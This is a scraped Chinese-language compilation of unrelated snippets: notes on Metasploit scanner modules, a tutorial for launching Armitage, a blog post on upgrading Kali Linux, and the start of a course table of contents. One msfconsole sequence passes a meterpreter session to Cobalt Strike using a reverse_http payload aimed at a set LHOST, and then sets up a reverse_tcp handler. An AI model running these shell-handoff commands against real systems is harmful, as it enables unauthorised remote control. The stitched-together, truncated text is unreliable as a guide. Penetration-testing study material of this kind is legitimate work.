metasploit

Metasploit用户接口 msfconsole Armitage: KaliGUI启动；armitage命令启动 Metasploit功能程序 msfvenom 集成了载荷生成器、载荷编码器、空指令生成器的功能 查看详细指令选项：msfvenom-h 服务器消息块协议扫描 msf>useauxiliary/scanner/smb/smb_version 搜寻配置不当的MicrosoftSQLServer msf>useauxiliary/scanner/mssql/mssql_ping SSH服务器扫描 msf>useauxiliary/scanner/ssh/ssh_version FTP扫描 msf>useauxiliary/scanner/ftp/ftp_version，发现ftp服务器 msf>useauxiliary/scanner/ftp/anonymous，检查是否允许匿名登录 简单网管协议扫描 msf>useauxiliary/scanner/snmp/snmp_login 渗透攻击基础 msf>showexploits msf>showauxiliary msf>showoptions msf>showpayloads msf>showtargets info set和unset setg和unsetg save 你的第一次渗透攻击 操作机：KaliLinux

Kali学习 | 漏洞扫描：4.1 Metasploit 的图形管理工具Armitage 介绍与打开Armitage工具 使用Armitage工具做渗透测试 介绍与打开Armitage工具 Armitage组件是Metasploit 框架中一个完全交互式的图形化用户接口 ，由Raphael Mudge所开发。 Armitage工具包含Metasploit控制台，通过使用其标签特性，用户可以看到多个Metasploit 控制台或多个Meterpreter会话。 （1）启动Metasploit 服务。在Kali 桌面依次选择 “应用程序” | Kali Linux l “系统服务” Metasploit | community/pro start 命令启动Metasploit服务，将输出如下所示的信息： 从输出的信息中可以看到PostgreSQL9.1数据库服务已启动，并创建了数据库用户和数据库。 （2）启动Armitage工具。在Kali桌面依次选择 “ 应用程序 ” | Kali Linux l “ 漏洞利用工具集 ” | “ 网络漏洞利用 ” l armitage 命令，如图所示。 或者在终端运行armitage命令启动Armitage工具： armitage （3）启动armitage工具后，将显示如图所示的界面。 （4）在该界面显示了连接Metasploit服务的基本信息

【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 简介 这个升级很简单,因为现在kali都是滚动升级的，所以直接升级就好了，我不知道我安装的kali版本是多少，本来想着要么直接重装一下，后来一想还是算了，懒得折腾了，还是直接升级一下吧 操作 首先更换国内软件源 vim /etc/apt/sources.list 注释里面所有内容，加入 deb https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib 之后执行 sudo apt update 接着执行 sudo apt full-upgrade 更新系统 如果你从来没有更新过系统的话那么更新的时间可能会比较长 其实这次更新我比较感兴趣的是metasploit更新到5.0了，其余的一般也不怎么用到 欢迎关注Bboysoul的博客 www.bboysoul.com Have Fun 来源： oschina 链接： https://my.oschina.net/u/3778921/blog/3020206

msf 派生 shell 给 Cobalt strike（前提有一个meterpreter） msf exploit(handler) > use exploit/windows/local/payload_inject 　　msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http 　　msf exploit(payload_inject) > set DisablePayloadHandler true 　　msf exploit(payload_inject) > set LHOST 192.168.229.143 　　msf exploit(payload_inject) > set LPORT 1212 　　msf exploit(payload_inject) > set SESSION 1 　　msf exploit(payload_inject) > exploit Cobalt strike 派生 shell 给 MSF(前提有个beaconshell) msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload =>

/*--> */ /*--> */ 原文链接： Kali Linux Web 渗透测试视频教程—第十九课 -metasploit 基础 文 / 玄魂 目录 Kali Linux Web 渗透测试视频教程 — 第十九课 -metasploit 基础 ...................... 1 metasploit ..................................................................................................... 1 基本体系结构 ............................................................................................... 1 Mestasploit 用户界面 .................................................................................. 1 启动 ............................................................................................................... 1 基本应用 - 端口扫描